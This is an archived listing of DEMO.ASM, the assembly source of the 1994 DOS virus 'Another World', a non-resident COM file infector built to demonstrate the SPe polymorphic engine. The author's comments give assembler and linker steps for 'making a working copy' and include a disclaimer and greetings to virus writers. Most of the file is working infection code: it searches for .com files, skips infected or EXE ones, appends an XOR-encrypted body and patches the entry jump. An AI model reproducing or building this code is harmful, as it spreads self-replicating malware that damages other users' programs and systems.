home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / SPE.ZIP / SPE_V11.ZIP / DEMO.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-03-06  |  3.6 KB  |  187 lines
  1.  
  2. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  3. ;                                          ;
  4. ;                                          ;
  5. ;               A n o t h e r  W o r l d                  ;
  6. ;                                          ;
  7. ;                                          ;
  8. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  9.  
  10.  
  11. ; Virus name: Another World
  12. ; Origin: Sweden
  13. ; Engine: SPe v1.1 (Simple Polymorphic Engine)
  14. ; Author: LoRD Zer0
  15. ; Date: November 1994
  16. ; Eff length: 636 - 640 bytes
  17. ; SPe is 380 bytes
  18. ; AW is 245 bytes
  19. ; 
  20. ; It's a none resident COM file infector. With no extra effects.
  21. ; It's just a demo vx for SPe. (SPe is a lame Engine. It's made just for
  22. ; Fun. I've get a bit tried of my real polymorphic Engine, Genetic eXchanger.)
  23. ; Well, One TridenT guy wrote a polymorphic vx in 444 bytes, So this is no 
  24. ; record.
  25. ; The vx isn't so well comentated, because a normal vx coder will have no 
  26. ; problem to understand the code except comments.
  27.  
  28. ; DISCLAIMER:
  29. ; LoRD Zer0 is hereby not responsilbe for any damage caused by usage of
  30. ; the Another world virus or SPe. Use theis product entirely at your own risk.
  31. ; The author makes no guarantees as to the correct functioning of this 
  32. ; product. This files may be freely distributed, so long as NO money will 
  33. ; exchange.
  34.  
  35. ; Greets goes out to all none destructive Virus writers.
  36. ; (The highest goal of all viruses is surviveal, why then take suicide?)
  37.  
  38. ; Virus writting is not terrorism, cause we have no goal....(haven't we?)
  39.  
  40. ; To make a working copy of the virus:
  41. ; tasm /m2 spe.asm
  42. ; tasm /m2 demo.asm
  43. ; tlink /t demo.obj
  44. ; tlink /t spe.obj
  45. ; copy /b demo.com+spe.com another.com
  46. ;
  47. ;It won't work with Masm.
  48.  
  49.     .MoDEL TiNY
  50.     .CoDE
  51.     org    100h
  52.  
  53. ; "Our decitions are decided by God, because he gave us our genes."
  54. Start:
  55.     db    0e9h,0,0
  56.     call    begin
  57. Begin:    pop    bp
  58. ; Instead of put a SUB BP,offset begin, I've have put out -106h.
  59.     mov    di,100h
  60.     lea    si,[bp+buffer-106h]
  61.     movsw
  62.     movsw
  63.  
  64.     mov    ah,1ah
  65.     lea    dx,[bp+DTA-106h]
  66.     int    21h
  67.  
  68.     lea    dx,[bp+Comfile-106h]
  69.     xor    cx,cx
  70.     mov    ah,4eh
  71. again:
  72.     int    21h
  73.     jnc    not_done
  74.     jmp    done
  75. not_done:
  76.  
  77.     lea    dx,[fname+bp-106h]
  78.     mov    ax,3D02h
  79.     int    21h
  80.  
  81.     xchg    bx,ax
  82.  
  83.     mov    ah,3fh
  84.     lea    dx,[bp+buffer-106h]
  85.     mov    cx,4
  86.     int    21h
  87.  
  88.     cmp    byte ptr [buffer+bp-106h],40h
  89.     jne    go_on
  90. loop_me:
  91.     call    close
  92.     mov    ah,4fh
  93.     jmp    again
  94. comfile    db    '*.com',0
  95. buffer    db    0CDh,20h,0,0
  96.     db    'Another World, a Better World..',0    ;Well, perhaps..
  97. go_on:
  98.  
  99.     cmp    word ptr [buffer+bp-106h],'ZM'
  100.     je    loop_me
  101.  
  102.     mov    ax,4202h
  103.     cwd
  104.     xor    cx,cx
  105.     int    21h
  106.  
  107.     mov    si,ax
  108.     add    si,100h
  109.     sub    ax,4
  110.     mov    word ptr [new_jmp+bp-106h],0e940h    ;40h = INC AX
  111.     mov    word ptr [new_jmp+bp-104h],ax
  112.  
  113.     mov    cx,v_Size
  114.     lea    di,[work_space+bp-106h]
  115.     push    di
  116.     push    bx
  117.     push    bp
  118.     call    Engine
  119.     pop    bp
  120.     pop    bx
  121.     
  122.     lea    si,[bp+start-103h]
  123.     cld
  124.     xchg    al,ah
  125.     xchg    dx,cx
  126.     push    cx
  127. xor_me:
  128.     lodsb
  129.     xor    al,ah
  130.     stosb
  131.     loop    xor_me
  132.     pop    cx
  133.     add    cx,dx
  134.     pop    dx
  135.     mov    ah,40h
  136.     int    21h
  137.     jc    close_me
  138.  
  139.     mov    ax,4200h
  140.     cwd
  141.     xor    cx,cx
  142.     int    21h
  143.  
  144.     lea    dx,[new_jmp+bp-106h]
  145.     mov    cx,4
  146.     mov    ah,40h
  147.     int    21h
  148.  
  149. close_me:
  150.     call    close
  151. done:
  152.     mov    dx,80h
  153.     mov    ah,1ah
  154.     int    21h
  155.  
  156.     mov    ax,100h
  157.     push    ax
  158.     xor    ax,ax
  159.     ret
  160.     db    'WHY?'        ;It's a good question...
  161. close:
  162.     mov    ax,5700h
  163.     int    21h
  164.     inc    ax
  165.     int    21h
  166.  
  167.     mov    ah,3eh
  168.     int    21h
  169.     retn
  170. Engine:
  171. ; COPY /B DEMO.COM+SPE.COM V.COM
  172. the_end:
  173. new_jmp        = offset the_end+396 ; 396 for the engine    
  174. DTA        = offset offset New_jmp+4
  175. fattrib        = offset DTA+21
  176. ftime        = offset fAttrib+1
  177. fdate        = offset Ftime +2
  178. Fsize        = offset Fdate+2
  179. fname        = offset Fsize+4
  180. work_Space    = offset fname+14
  181. v_size    =    $-offset start+3
  182.     end    Start
  183.  
  184.  
  185.  Coded by LoRD Zer0 1994.
  186.  Somewhere in the kingdom of Sweden....
  187.